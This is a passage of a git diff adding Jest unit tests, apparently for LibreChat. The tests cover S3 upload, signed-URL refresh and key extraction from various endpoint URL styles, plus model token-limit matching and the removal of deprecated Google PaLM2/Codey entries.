+ stat: jest.fn().mockResolvedValue({ size: 1024 }),
+ unlink: jest.fn().mockResolvedValue(),
+ };
+ fs.createReadStream = jest.fn().mockReturnValue(new Readable());
+ mockS3Client.send.mockRejectedValue(error);
+
+ await expect(
+ uploadFileToS3({
+ req: mockReq,
+ file: mockFile,
+ file_id: 'file123',
+ }),
+ ).rejects.toThrow('Upload failed');
+
+ expect(logger.error).toHaveBeenCalledWith(
+ '[uploadFileToS3] Error streaming file to S3:',
+ error,
+ );
+ });
+ });
+
+ describe('getS3FileStream', () => {
+ it('should return a readable stream for a file', async () => {
+ const mockStream = new Readable();
+ const mockResponse = { Body: mockStream };
+
+ mockS3Client.send.mockResolvedValue(mockResponse);
+
+ const result = await getS3FileStream(
+ {},
+ 'https://s3.amazonaws.com/test-bucket/images/user123/file.pdf',
+ );
+
+ expect(result).toBe(mockStream);
+ expect(mockS3Client.send).toHaveBeenCalledWith(expect.any(GetObjectCommand));
+ });
+
+ it('should handle errors when retrieving stream', async () => {
+ const error = new Error('Stream error');
+ mockS3Client.send.mockRejectedValue(error);
+
+ await expect(getS3FileStream({}, 'images/user123/file.pdf')).rejects.toThrow('Stream error');
+ expect(logger.error).toHaveBeenCalled();
+ });
+ });
+
+ describe('needsRefresh', () => {
+ it('should return false for non-signed URLs', () => {
+ const url = 'https://example.com/proxy/file.jpg';
+ const result = needsRefresh(url, 3600);
+ expect(result).toBe(false);
+ });
+
+ it('should return true for expired signed URLs', () => {
+ const now = new Date();
+ const past = new Date(now.getTime() - 3600 * 1000); // 1 hour ago
+ const dateStr = past
+ .toISOString()
+ .replace(/[-:]/g, '')
+ .replace(/\.\d{3}/, '');
+
+ const url = `https://s3.amazonaws.com/bucket/key?X-Amz-Signature=abc&X-Amz-Date=${dateStr}&X-Amz-Expires=60`;
+ const result = needsRefresh(url, 60);
+ expect(result).toBe(true);
+ });
+
+ it('should return false for URLs that are not close to expiration', () => {
+ const now = new Date();
+ const recent = new Date(now.getTime() - 10 * 1000); // 10 seconds ago
+ const dateStr = recent
+ .toISOString()
+ .replace(/[-:]/g, '')
+ .replace(/\.\d{3}/, '');
+
+ const url = `https://s3.amazonaws.com/bucket/key?X-Amz-Signature=abc&X-Amz-Date=${dateStr}&X-Amz-Expires=7200`;
+ const result = needsRefresh(url, 60);
+ expect(result).toBe(false);
+ });
+
+ it('should use custom refresh expiry when S3_REFRESH_EXPIRY_MS is set', () => {
+ process.env.S3_REFRESH_EXPIRY_MS = '30000'; // 30 seconds
+
+ const now = new Date();
+ const recent = new Date(now.getTime() - 31 * 1000); // 31 seconds ago
+ const dateStr = recent
+ .toISOString()
+ .replace(/[-:]/g, '')
+ .replace(/\.\d{3}/, '');
+
+ const url = `https://s3.amazonaws.com/bucket/key?X-Amz-Signature=abc&X-Amz-Date=${dateStr}&X-Amz-Expires=7200`;
+
+ // Need to reload the module to pick up the env var change
+ jest.resetModules();
+ const { needsRefresh: needsRefreshReloaded } = require('~/server/services/Files/S3/crud');
+
+ const result = needsRefreshReloaded(url, 60);
+ expect(result).toBe(true);
+ });
+
+ it('should return true for malformed URLs', () => {
+ const url = 'not-a-valid-url';
+ const result = needsRefresh(url, 3600);
+ expect(result).toBe(true);
+ });
+ });
+
+ describe('getNewS3URL', () => {
+ it('should generate a new URL from an existing S3 URL', async () => {
+ const currentURL =
+ 'https://s3.amazonaws.com/test-bucket/images/user123/file.jpg?signature=old';
+ const newURL = 'https://s3.amazonaws.com/test-bucket/images/user123/file.jpg?signature=new';
+
+ getSignedUrl.mockResolvedValue(newURL);
+
+ const result = await getNewS3URL(currentURL);
+
+ expect(result).toBe(newURL);
+ expect(getSignedUrl).toHaveBeenCalled();
+ });
+
+ it('should return undefined for invalid URLs', async () => {
+ const result = await getNewS3URL('invalid-url');
+ expect(result).toBeUndefined();
+ });
+
+ it('should handle errors gracefully', async () => {
+ const currentURL = 'https://s3.amazonaws.com/test-bucket/images/user123/file.jpg';
+ getSignedUrl.mockRejectedValue(new Error('Failed'));
+
+ const result = await getNewS3URL(currentURL);
+
+ expect(result).toBeUndefined();
+ expect(logger.error).toHaveBeenCalledWith('Error getting new S3 URL:', expect.any(Error));
+ });
+
+ it('should construct GetObjectCommand with correct key (no bucket name duplication)', async () => {
+ const currentURL =
+ 'https://s3.amazonaws.com/my-bucket/images/user123/file.jpg?X-Amz-Signature=old';
+ getSignedUrl.mockResolvedValue(
+ 'https://s3.amazonaws.com/test-bucket/images/user123/file.jpg?signature=new',
+ );
+
+ await getNewS3URL(currentURL);
+
+ expect(GetObjectCommand).toHaveBeenCalledWith(
+ expect.objectContaining({ Key: 'images/user123/file.jpg' }),
+ );
+ });
+ });
+
+ describe('refreshS3FileUrls', () => {
+ it('should refresh expired URLs for multiple files', async () => {
+ const now = new Date();
+ const past = new Date(now.getTime() - 3600 * 1000);
+ const dateStr = past
+ .toISOString()
+ .replace(/[-:]/g, '')
+ .replace(/\.\d{3}/, '');
+
+ const files = [
+ {
+ file_id: 'file1',
+ source: FileSources.s3,
+ filepath: `https://s3.amazonaws.com/bucket/images/user123/file1.jpg?X-Amz-Signature=abc&X-Amz-Date=${dateStr}&X-Amz-Expires=60`,
+ },
+ {
+ file_id: 'file2',
+ source: FileSources.s3,
+ filepath: `https://s3.amazonaws.com/bucket/images/user123/file2.jpg?X-Amz-Signature=def&X-Amz-Date=${dateStr}&X-Amz-Expires=60`,
+ },
+ ];
+
+ const newURL1 = 'https://s3.amazonaws.com/bucket/images/user123/file1.jpg?signature=new1';
+ const newURL2 = 'https://s3.amazonaws.com/bucket/images/user123/file2.jpg?signature=new2';
+
+ getSignedUrl.mockResolvedValueOnce(newURL1).mockResolvedValueOnce(newURL2);
+
+ const mockBatchUpdate = jest.fn().mockResolvedValue();
+
+ const result = await refreshS3FileUrls(files, mockBatchUpdate, 60);
+
+ expect(result[0].filepath).toBe(newURL1);
+ expect(result[1].filepath).toBe(newURL2);
+ expect(mockBatchUpdate).toHaveBeenCalledWith([
+ { file_id: 'file1', filepath: newURL1 },
+ { file_id: 'file2', filepath: newURL2 },
+ ]);
+ });
+
+ it('should skip non-S3 files', async () => {
+ const files = [
+ {
+ file_id: 'file1',
+ source: 'local',
+ filepath: '/local/path/file.jpg',
+ },
+ ];
+
+ const mockBatchUpdate = jest.fn();
+
+ const result = await refreshS3FileUrls(files, mockBatchUpdate);
+
+ expect(result).toEqual(files);
+ expect(mockBatchUpdate).not.toHaveBeenCalled();
+ });
+
+ it('should handle empty or invalid input', async () => {
+ const mockBatchUpdate = jest.fn();
+
+ const result1 = await refreshS3FileUrls(null, mockBatchUpdate);
+ expect(result1).toBe(null);
+
+ const result2 = await refreshS3FileUrls([], mockBatchUpdate);
+ expect(result2).toEqual([]);
+
+ expect(mockBatchUpdate).not.toHaveBeenCalled();
+ });
+
+ it('should handle errors for individual files gracefully', async () => {
+ const now = new Date();
+ const past = new Date(now.getTime() - 3600 * 1000);
+ const dateStr = past
+ .toISOString()
+ .replace(/[-:]/g, '')
+ .replace(/\.\d{3}/, '');
+
+ const files = [
+ {
+ file_id: 'file1',
+ source: FileSources.s3,
+ filepath: `https://s3.amazonaws.com/bucket/images/user123/file1.jpg?X-Amz-Signature=abc&X-Amz-Date=${dateStr}&X-Amz-Expires=60`,
+ },
+ ];
+
+ getSignedUrl.mockRejectedValue(new Error('Failed to refresh'));
+ const mockBatchUpdate = jest.fn();
+
+ await refreshS3FileUrls(files, mockBatchUpdate, 60);
+
+ expect(logger.error).toHaveBeenCalledWith('Error getting new S3 URL:', expect.any(Error));
+ expect(mockBatchUpdate).not.toHaveBeenCalled();
+ });
+ });
+
+ describe('refreshS3Url', () => {
+ it('should refresh an expired S3 URL', async () => {
+ const now = new Date();
+ const past = new Date(now.getTime() - 3600 * 1000);
+ const dateStr = past
+ .toISOString()
+ .replace(/[-:]/g, '')
+ .replace(/\.\d{3}/, '');
+
+ const fileObj = {
+ source: FileSources.s3,
+ filepath: `https://s3.amazonaws.com/bucket/images/user123/file.jpg?X-Amz-Signature=abc&X-Amz-Date=${dateStr}&X-Amz-Expires=60`,
+ };
+
+ const newURL = 'https://s3.amazonaws.com/bucket/images/user123/file.jpg?signature=new';
+ getSignedUrl.mockResolvedValue(newURL);
+
+ const result = await refreshS3Url(fileObj, 60);
+
+ expect(result).toBe(newURL);
+ });
+
+ it('should return original URL if not expired', async () => {
+ const fileObj = {
+ source: FileSources.s3,
+ filepath: 'https://example.com/proxy/file.jpg',
+ };
+
+ const result = await refreshS3Url(fileObj, 3600);
+
+ expect(result).toBe(fileObj.filepath);
+ expect(getSignedUrl).not.toHaveBeenCalled();
+ });
+
+ it('should return empty string for null input', async () => {
+ const result = await refreshS3Url(null);
+ expect(result).toBe('');
+ });
+
+ it('should return original URL for non-S3 files', async () => {
+ const fileObj = {
+ source: 'local',
+ filepath: '/local/path/file.jpg',
+ };
+
+ const result = await refreshS3Url(fileObj);
+
+ expect(result).toBe(fileObj.filepath);
+ });
+
+ it('should handle errors and return original URL', async () => {
+ const now = new Date();
+ const past = new Date(now.getTime() - 3600 * 1000);
+ const dateStr = past
+ .toISOString()
+ .replace(/[-:]/g, '')
+ .replace(/\.\d{3}/, '');
+
+ const fileObj = {
+ source: FileSources.s3,
+ filepath: `https://s3.amazonaws.com/bucket/images/user123/file.jpg?X-Amz-Signature=abc&X-Amz-Date=${dateStr}&X-Amz-Expires=60`,
+ };
+
+ getSignedUrl.mockRejectedValue(new Error('Refresh failed'));
+
+ const result = await refreshS3Url(fileObj, 60);
+
+ expect(result).toBe(fileObj.filepath);
+ expect(logger.error).toHaveBeenCalled();
+ });
+ });
+
+ describe('extractKeyFromS3Url', () => {
+ it('should extract key from a full S3 URL', () => {
+ const url = 'https://s3.amazonaws.com/test-bucket/images/user123/file.jpg';
+ const result = extractKeyFromS3Url(url);
+ expect(result).toBe('images/user123/file.jpg');
+ });
+
+ it('should extract key from a signed S3 URL with query parameters', () => {
+ const url =
+ 'https://s3.amazonaws.com/test-bucket/documents/user456/report.pdf?X-Amz-Signature=abc123&X-Amz-Date=20260107';
+ const result = extractKeyFromS3Url(url);
+ expect(result).toBe('documents/user456/report.pdf');
+ });
+
+ it('should extract key from S3 URL with different domain format', () => {
+ const url = 'https://test-bucket.s3.amazonaws.com/uploads/user789/image.png';
+ const result = extractKeyFromS3Url(url);
+ expect(result).toBe('uploads/user789/image.png');
+ });
+
+ it('should return key as-is if already properly formatted (3+ parts, no http)', () => {
+ const key = 'images/user123/file.jpg';
+ const result = extractKeyFromS3Url(key);
+ expect(result).toBe('images/user123/file.jpg');
+ });
+
+ it('should handle key with leading slash by removing it', () => {
+ const key = '/images/user123/file.jpg';
+ const result = extractKeyFromS3Url(key);
+ expect(result).toBe('images/user123/file.jpg');
+ });
+
+ it('should handle simple key without slashes', () => {
+ const key = 'simple-file.txt';
+ const result = extractKeyFromS3Url(key);
+ expect(result).toBe('simple-file.txt');
+ });
+
+ it('should handle key with only two parts', () => {
+ const key = 'folder/file.txt';
+ const result = extractKeyFromS3Url(key);
+ expect(result).toBe('folder/file.txt');
+ });
+
+ it('should throw error for empty input', () => {
+ expect(() => extractKeyFromS3Url('')).toThrow('Invalid input: URL or key is empty');
+ });
+
+ it('should throw error for null input', () => {
+ expect(() => extractKeyFromS3Url(null)).toThrow('Invalid input: URL or key is empty');
+ });
+
+ it('should throw error for undefined input', () => {
+ expect(() => extractKeyFromS3Url(undefined)).toThrow('Invalid input: URL or key is empty');
+ });
+
+ it('should handle URLs with encoded characters', () => {
+ const url = 'https://s3.amazonaws.com/test-bucket/images/user123/my%20file%20name.jpg';
+ const result = extractKeyFromS3Url(url);
+ expect(result).toBe('images/user123/my%20file%20name.jpg');
+ });
+
+ it('should handle deep nested paths', () => {
+ const url = 'https://s3.amazonaws.com/bucket/a/b/c/d/e/f/file.jpg';
+ const result = extractKeyFromS3Url(url);
+ expect(result).toBe('a/b/c/d/e/f/file.jpg');
+ });
+
+ it('should log debug message when extracting from URL', () => {
+ const url = 'https://s3.amazonaws.com/bucket/images/user123/file.jpg';
+ extractKeyFromS3Url(url);
+ expect(logger.debug).toHaveBeenCalledWith(
+ expect.stringContaining('[extractKeyFromS3Url] fileUrlOrKey:'),
+ );
+ });
+
+ it('should log fallback debug message for non-URL input', () => {
+ const key = 'simple-file.txt';
+ extractKeyFromS3Url(key);
+ expect(logger.debug).toHaveBeenCalledWith(
+ expect.stringContaining('[extractKeyFromS3Url] FALLBACK'),
+ );
+ });
+
+ it('should handle valid URLs that contain only a bucket', () => {
+ const url = 'https://s3.amazonaws.com/test-bucket/';
+ const result = extractKeyFromS3Url(url);
+ expect(logger.warn).toHaveBeenCalledWith(
+ expect.stringContaining(
+ '[extractKeyFromS3Url] Extracted key is empty after removing bucket name from URL: https://s3.amazonaws.com/test-bucket/',
+ ),
+ );
+ expect(result).toBe('');
+ });
+
+ it('should handle invalid URLs that contain only a bucket', () => {
+ const url = 'https://s3.amazonaws.com/test-bucket';
+ const result = extractKeyFromS3Url(url);
+ expect(logger.warn).toHaveBeenCalledWith(
+ expect.stringContaining(
+ '[extractKeyFromS3Url] Unable to extract key from path-style URL: https://s3.amazonaws.com/test-bucket',
+ ),
+ );
+ expect(result).toBe('');
+ });
+
+ // https://docs.aws.amazon.com/AmazonS3/latest/userguide/VirtualHosting.html
+
+ // Path-style requests
+ // https://docs.aws.amazon.com/AmazonS3/latest/userguide/VirtualHosting.html#path-style-access
+ // https://s3.region-code.amazonaws.com/bucket-name/key-name
+ it('should handle formatted according to Path-style regional endpoint', () => {
+ const url = 'https://s3.us-west-2.amazonaws.com/amzn-s3-demo-bucket1/dogs/puppy.jpg';
+ const result = extractKeyFromS3Url(url);
+ expect(result).toBe('dogs/puppy.jpg');
+ });
+
+ // virtual host style
+ // https://docs.aws.amazon.com/AmazonS3/latest/userguide/VirtualHosting.html#virtual-hosted-style-access
+ // https://bucket-name.s3.region-code.amazonaws.com/key-name
+ it('should handle formatted according to Virtual-hosted–style Regional endpoint', () => {
+ const url = 'https://amzn-s3-demo-bucket1.s3.us-west-2.amazonaws.com/dogs/puppy.png';
+ const result = extractKeyFromS3Url(url);
+ expect(result).toBe('dogs/puppy.png');
+ });
+
+ // Legacy endpoints
+ // https://docs.aws.amazon.com/AmazonS3/latest/userguide/VirtualHosting.html#VirtualHostingBackwardsCompatibility
+
+ // s3‐Region
+ // https://bucket-name.s3-region-code.amazonaws.com
+ it('should handle formatted according to s3‐Region', () => {
+ const url = 'https://amzn-s3-demo-bucket1.s3-us-west-2.amazonaws.com/puppy.png';
+ const result = extractKeyFromS3Url(url);
+ expect(result).toBe('puppy.png');
+
+ const testcase2 = 'https://amzn-s3-demo-bucket1.s3-us-west-2.amazonaws.com/cats/kitten.png';
+ const result2 = extractKeyFromS3Url(testcase2);
+ expect(result2).toBe('cats/kitten.png');
+ });
+
+ // Legacy global endpoint
+ // bucket-name.s3.amazonaws.com
+ it('should handle formatted according to Legacy global endpoint', () => {
+ const url = 'https://amzn-s3-demo-bucket1.s3.amazonaws.com/dogs/puppy.png';
+ const result = extractKeyFromS3Url(url);
+ expect(result).toBe('dogs/puppy.png');
+ });
+
+ it('should handle malformed URL and log error', () => {
+ const malformedUrl = 'https://invalid url with spaces.com/key';
+ const result = extractKeyFromS3Url(malformedUrl);
+
+ expect(logger.error).toHaveBeenCalledWith(
+ expect.stringContaining('[extractKeyFromS3Url] Error parsing URL:'),
+ );
+ expect(logger.error).toHaveBeenCalledWith(expect.stringContaining(malformedUrl));
+
+ expect(result).toBe(malformedUrl);
+ });
+
+ it('should return empty string for regional path-style URL with only bucket (no key)', () => {
+ const url = 'https://s3.us-west-2.amazonaws.com/my-bucket';
+ const result = extractKeyFromS3Url(url);
+ expect(result).toBe('');
+ expect(logger.warn).toHaveBeenCalledWith(
+ expect.stringContaining('[extractKeyFromS3Url] Unable to extract key from path-style URL:'),
+ );
+ });
+
+ it('should not log error when given a plain S3 key (non-URL input)', () => {
+ extractKeyFromS3Url('images/user123/file.jpg');
+ expect(logger.error).not.toHaveBeenCalled();
+ });
+
+ it('should strip bucket from custom endpoint URLs (MinIO, R2, etc.) using bucketName', () => {
+ // bucketName is the module-level const 'test-bucket', set before require at top of file
+ expect(
+ extractKeyFromS3Url('https://minio.example.com/test-bucket/images/user123/file.jpg'),
+ ).toBe('images/user123/file.jpg');
+ expect(
+ extractKeyFromS3Url(
+ 'https://abc123.r2.cloudflarestorage.com/test-bucket/images/user123/avatar.png',
+ ),
+ ).toBe('images/user123/avatar.png');
+ });
+
+ it('should use endpoint base path when AWS_ENDPOINT_URL and AWS_FORCE_PATH_STYLE are set', () => {
+ process.env.AWS_BUCKET_NAME = 'test-bucket';
+ process.env.AWS_ENDPOINT_URL = 'https://minio.example.com';
+ process.env.AWS_FORCE_PATH_STYLE = 'true';
+ jest.resetModules();
+ const { extractKeyFromS3Url: fn } = require('~/server/services/Files/S3/crud');
+
+ expect(fn('https://minio.example.com/test-bucket/images/user123/file.jpg')).toBe(
+ 'images/user123/file.jpg',
+ );
+
+ delete process.env.AWS_ENDPOINT_URL;
+ delete process.env.AWS_FORCE_PATH_STYLE;
+ });
+
+ it('should handle endpoint with a base path', () => {
+ process.env.AWS_BUCKET_NAME = 'test-bucket';
+ process.env.AWS_ENDPOINT_URL = 'https://example.com/storage/';
+ process.env.AWS_FORCE_PATH_STYLE = 'true';
+ jest.resetModules();
+ const { extractKeyFromS3Url: fn } = require('~/server/services/Files/S3/crud');
+
+ expect(fn('https://example.com/storage/test-bucket/images/user123/file.jpg')).toBe(
+ 'images/user123/file.jpg',
+ );
+
+ delete process.env.AWS_ENDPOINT_URL;
+ delete process.env.AWS_FORCE_PATH_STYLE;
+ });
+ });
+});
diff --git a/api/utils/tokens.spec.js b/api/utils/tokens.spec.js
index 3336a0f82d..6cecdb95c8 100644
--- a/api/utils/tokens.spec.js
+++ b/api/utils/tokens.spec.js
@@ -1,3 +1,4 @@
+/** Note: No hard-coded values should be used in this file. */
const { EModelEndpoint } = require('librechat-data-provider');
const {
maxTokensMap,
@@ -199,6 +200,39 @@ describe('getModelMaxTokens', () => {
);
});
+ test('should return correct tokens for gpt-5.3 matches', () => {
+ expect(getModelMaxTokens('gpt-5.3')).toBe(maxTokensMap[EModelEndpoint.openAI]['gpt-5.3']);
+ expect(getModelMaxTokens('gpt-5.3-codex')).toBe(maxTokensMap[EModelEndpoint.openAI]['gpt-5.3']);
+ expect(getModelMaxTokens('openai/gpt-5.3')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['gpt-5.3'],
+ );
+ expect(getModelMaxTokens('gpt-5.3-2025-03-01')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['gpt-5.3'],
+ );
+ expect(getModelMaxTokens('gpt-5.3-preview')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['gpt-5.3'],
+ );
+ });
+
+ test('should return correct tokens for gpt-5.4 matches', () => {
+ expect(getModelMaxTokens('gpt-5.4')).toBe(maxTokensMap[EModelEndpoint.openAI]['gpt-5.4']);
+ expect(getModelMaxTokens('gpt-5.4-thinking')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['gpt-5.4'],
+ );
+ expect(getModelMaxTokens('openai/gpt-5.4')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['gpt-5.4'],
+ );
+ });
+
+ test('should return correct tokens for gpt-5.4-pro matches', () => {
+ expect(getModelMaxTokens('gpt-5.4-pro')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['gpt-5.4-pro'],
+ );
+ expect(getModelMaxTokens('openai/gpt-5.4-pro')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['gpt-5.4-pro'],
+ );
+ });
+
test('should return correct tokens for Anthropic models', () => {
const models = [
'claude-2.1',
@@ -236,16 +270,6 @@ describe('getModelMaxTokens', () => {
});
});
- // Tests for Google models
- test('should return correct tokens for exact match - Google models', () => {
- expect(getModelMaxTokens('text-bison-32k', EModelEndpoint.google)).toBe(
- maxTokensMap[EModelEndpoint.google]['text-bison-32k'],
- );
- expect(getModelMaxTokens('codechat-bison-32k', EModelEndpoint.google)).toBe(
- maxTokensMap[EModelEndpoint.google]['codechat-bison-32k'],
- );
- });
-
test('should return undefined for no match - Google models', () => {
expect(getModelMaxTokens('unknown-google-model', EModelEndpoint.google)).toBeUndefined();
});
@@ -278,6 +302,12 @@ describe('getModelMaxTokens', () => {
expect(getModelMaxTokens('gemini-3', EModelEndpoint.google)).toBe(
maxTokensMap[EModelEndpoint.google]['gemini-3'],
);
+ expect(getModelMaxTokens('gemini-3.1-pro-preview', EModelEndpoint.google)).toBe(
+ maxTokensMap[EModelEndpoint.google]['gemini-3.1'],
+ );
+ expect(getModelMaxTokens('gemini-3.1-pro-preview-customtools', EModelEndpoint.google)).toBe(
+ maxTokensMap[EModelEndpoint.google]['gemini-3.1'],
+ );
expect(getModelMaxTokens('gemini-2.5-pro', EModelEndpoint.google)).toBe(
maxTokensMap[EModelEndpoint.google]['gemini-2.5-pro'],
);
@@ -296,12 +326,6 @@ describe('getModelMaxTokens', () => {
expect(getModelMaxTokens('gemini-pro', EModelEndpoint.google)).toBe(
maxTokensMap[EModelEndpoint.google]['gemini'],
);
- expect(getModelMaxTokens('code-', EModelEndpoint.google)).toBe(
- maxTokensMap[EModelEndpoint.google]['code-'],
- );
- expect(getModelMaxTokens('chat-', EModelEndpoint.google)).toBe(
- maxTokensMap[EModelEndpoint.google]['chat-'],
- );
});
test('should return correct tokens for partial match - Cohere models', () => {
@@ -485,7 +509,19 @@ describe('getModelMaxTokens', () => {
test('should return correct max output tokens for GPT-5 models', () => {
const { getModelMaxOutputTokens } = require('@librechat/api');
- ['gpt-5', 'gpt-5-mini', 'gpt-5-nano', 'gpt-5-pro'].forEach((model) => {
+ const gpt5Models = [
+ 'gpt-5',
+ 'gpt-5.1',
+ 'gpt-5.2',
+ 'gpt-5.3',
+ 'gpt-5.4',
+ 'gpt-5.4-pro',
+ 'gpt-5-mini',
+ 'gpt-5-nano',
+ 'gpt-5-pro',
+ 'gpt-5.2-pro',
+ ];
+ for (const model of gpt5Models) {
expect(getModelMaxOutputTokens(model)).toBe(maxOutputTokensMap[EModelEndpoint.openAI][model]);
expect(getModelMaxOutputTokens(model, EModelEndpoint.openAI)).toBe(
maxOutputTokensMap[EModelEndpoint.openAI][model],
@@ -493,7 +529,7 @@ describe('getModelMaxTokens', () => {
expect(getModelMaxOutputTokens(model, EModelEndpoint.azureOpenAI)).toBe(
maxOutputTokensMap[EModelEndpoint.azureOpenAI][model],
);
- });
+ }
});
test('should return correct max output tokens for GPT-OSS models', () => {
@@ -510,6 +546,184 @@ describe('getModelMaxTokens', () => {
});
});
+describe('findMatchingPattern - longest match wins', () => {
+ test('should prefer longer matching key over shorter cross-provider pattern', () => {
+ const result = findMatchingPattern(
+ 'gpt-5.2-chat-2025-12-11',
+ maxTokensMap[EModelEndpoint.openAI],
+ );
+ expect(result).toBe('gpt-5.2');
+ });
+
+ test('should match gpt-5.2 tokens for date-suffixed chat variant', () => {
+ expect(getModelMaxTokens('gpt-5.2-chat-2025-12-11')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['gpt-5.2'],
+ );
+ });
+
+ test('should match gpt-5.2-pro over shorter patterns', () => {
+ expect(getModelMaxTokens('gpt-5.2-pro-chat-2025-12-11')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['gpt-5.2-pro'],
+ );
+ });
+
+ test('should match gpt-5-mini over gpt-5 for mini variants', () => {
+ expect(getModelMaxTokens('gpt-5-mini-chat-2025-01-01')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['gpt-5-mini'],
+ );
+ });
+
+ test('should prefer gpt-4-1106 over gpt-4 for versioned model names', () => {
+ const result = findMatchingPattern('gpt-4-1106-preview', maxTokensMap[EModelEndpoint.openAI]);
+ expect(result).toBe('gpt-4-1106');
+ });
+
+ test('should prefer gpt-4-32k-0613 over gpt-4-32k for exact versioned names', () => {
+ const result = findMatchingPattern('gpt-4-32k-0613', maxTokensMap[EModelEndpoint.openAI]);
+ expect(result).toBe('gpt-4-32k-0613');
+ });
+
+ test('should prefer claude-3-5-sonnet over claude-3', () => {
+ const result = findMatchingPattern(
+ 'claude-3-5-sonnet-20241022',
+ maxTokensMap[EModelEndpoint.anthropic],
+ );
+ expect(result).toBe('claude-3-5-sonnet');
+ });
+
+ test('should prefer gemini-2.0-flash-lite over gemini-2.0-flash', () => {
+ const result = findMatchingPattern(
+ 'gemini-2.0-flash-lite-preview',
+ maxTokensMap[EModelEndpoint.google],
+ );
+ expect(result).toBe('gemini-2.0-flash-lite');
+ });
+});
+
+describe('findMatchingPattern - bestLength selection', () => {
+ test('should return the longest matching key when multiple keys match', () => {
+ const tokensMap = { short: 100, 'short-med': 200, 'short-med-long': 300 };
+ expect(findMatchingPattern('short-med-long-extra', tokensMap)).toBe('short-med-long');
+ });
+
+ test('should return the longest match regardless of key insertion order', () => {
+ const tokensMap = { 'a-b-c': 300, a: 100, 'a-b': 200 };
+ expect(findMatchingPattern('a-b-c-d', tokensMap)).toBe('a-b-c');
+ });
+
+ test('should return null when no key matches', () => {
+ const tokensMap = { alpha: 100, beta: 200 };
+ expect(findMatchingPattern('gamma-delta', tokensMap)).toBeNull();
+ });
+
+ test('should return the single matching key when only one matches', () => {
+ const tokensMap = { alpha: 100, beta: 200, gamma: 300 };
+ expect(findMatchingPattern('beta-extended', tokensMap)).toBe('beta');
+ });
+
+ test('should match case-insensitively against model name', () => {
+ const tokensMap = { 'gpt-5': 400000 };
+ expect(findMatchingPattern('GPT-5-turbo', tokensMap)).toBe('gpt-5');
+ });
+
+ test('should select the longest key among overlapping substring matches', () => {
+ const tokensMap = { 'gpt-': 100, 'gpt-5': 200, 'gpt-5.2': 300, 'gpt-5.2-pro': 400 };
+ expect(findMatchingPattern('gpt-5.2-pro-2025-01-01', tokensMap)).toBe('gpt-5.2-pro');
+ expect(findMatchingPattern('gpt-5.2-chat-2025-01-01', tokensMap)).toBe('gpt-5.2');
+ expect(findMatchingPattern('gpt-5.1-preview', tokensMap)).toBe('gpt-5');
+ expect(findMatchingPattern('gpt-unknown', tokensMap)).toBe('gpt-');
+ });
+
+ test('should not be confused by a short key that appears later in the model name', () => {
+ const tokensMap = { 'model-v2': 200, v2: 100 };
+ expect(findMatchingPattern('model-v2-extended', tokensMap)).toBe('model-v2');
+ });
+
+ test('should handle exact-length match as the best match', () => {
+ const tokensMap = { 'exact-model': 500, exact: 100 };
+ expect(findMatchingPattern('exact-model', tokensMap)).toBe('exact-model');
+ });
+
+ test('should return null for empty model name', () => {
+ expect(findMatchingPattern('', { 'gpt-5': 400000 })).toBeNull();
+ });
+
+ test('should prefer last-defined key on same-length ties', () => {
+ const tokensMap = { 'aa-bb': 100, 'cc-dd': 200 };
+ // model name contains both 5-char keys; last-defined wins in reverse iteration
+ expect(findMatchingPattern('aa-bb-cc-dd', tokensMap)).toBe('cc-dd');
+ });
+
+ test('longest match beats short cross-provider pattern even when both present', () => {
+ const tokensMap = { 'gpt-5.2': 400000, 'chat-': 8187 };
+ expect(findMatchingPattern('gpt-5.2-chat-2025-12-11', tokensMap)).toBe('gpt-5.2');
+ });
+
+ test('should match case-insensitively against keys', () => {
+ const tokensMap = { 'GPT-5': 400000 };
+ expect(findMatchingPattern('gpt-5-turbo', tokensMap)).toBe('GPT-5');
+ });
+});
+
+describe('findMatchingPattern - iteration performance', () => {
+ let includesSpy;
+
+ beforeEach(() => {
+ includesSpy = jest.spyOn(String.prototype, 'includes');
+ });
+
+ afterEach(() => {
+ includesSpy.mockRestore();
+ });
+
+ test('exact match early-exits with minimal includes() checks', () => {
+ const openAIMap = maxTokensMap[EModelEndpoint.openAI];
+ const keys = Object.keys(openAIMap);
+ const lastKey = keys[keys.length - 1];
+ includesSpy.mockClear();
+ const result = findMatchingPattern(lastKey, openAIMap);
+ const exactCalls = includesSpy.mock.calls.length;
+
+ expect(result).toBe(lastKey);
+ expect(exactCalls).toBe(1);
+ });
+
+ test('bestLength check skips includes() for shorter keys after a long match', () => {
+ const openAIMap = maxTokensMap[EModelEndpoint.openAI];
+ includesSpy.mockClear();
+ findMatchingPattern('gpt-3.5-turbo-0301-test', openAIMap);
+ const longKeyCalls = includesSpy.mock.calls.length;
+
+ includesSpy.mockClear();
+ findMatchingPattern('gpt-5.3-chat-latest', openAIMap);
+ const shortKeyCalls = includesSpy.mock.calls.length;
+
+ // gpt-3.5-turbo-0301 (20 chars) matches early, then bestLength prunes most keys
+ // gpt-5.3 (7 chars) is short, so fewer keys are pruned by the length check
+ expect(longKeyCalls).toBeLessThan(shortKeyCalls);
+ });
+
+ test('last-defined keys are checked first in reverse iteration', () => {
+ const tokensMap = { first: 100, second: 200, third: 300 };
+ includesSpy.mockClear();
+ const result = findMatchingPattern('third', tokensMap);
+ const calls = includesSpy.mock.calls.length;
+
+ // 'third' is last key, found on first reverse check, exact match exits immediately
+ expect(result).toBe('third');
+ expect(calls).toBe(1);
+ });
+});
+
+describe('deprecated PaLM2/Codey model removal', () => {
+ test('deprecated PaLM2/Codey models no longer have token entries', () => {
+ expect(getModelMaxTokens('text-bison-32k', EModelEndpoint.google)).toBeUndefined();
+ expect(getModelMaxTokens('codechat-bison-32k', EModelEndpoint.google)).toBeUndefined();
+ expect(getModelMaxTokens('code-bison', EModelEndpoint.google)).toBeUndefined();
+ expect(getModelMaxTokens('chat-bison', EModelEndpoint.google)).toBeUndefined();
+ });
+});
+
describe('matchModelName', () => {
it('should return the exact model name if it exists in maxTokensMap', () => {
expect(matchModelName('gpt-4-32k-0613')).toBe('gpt-4-32k-0613');
@@ -605,10 +819,16 @@ describe('matchModelName', () => {
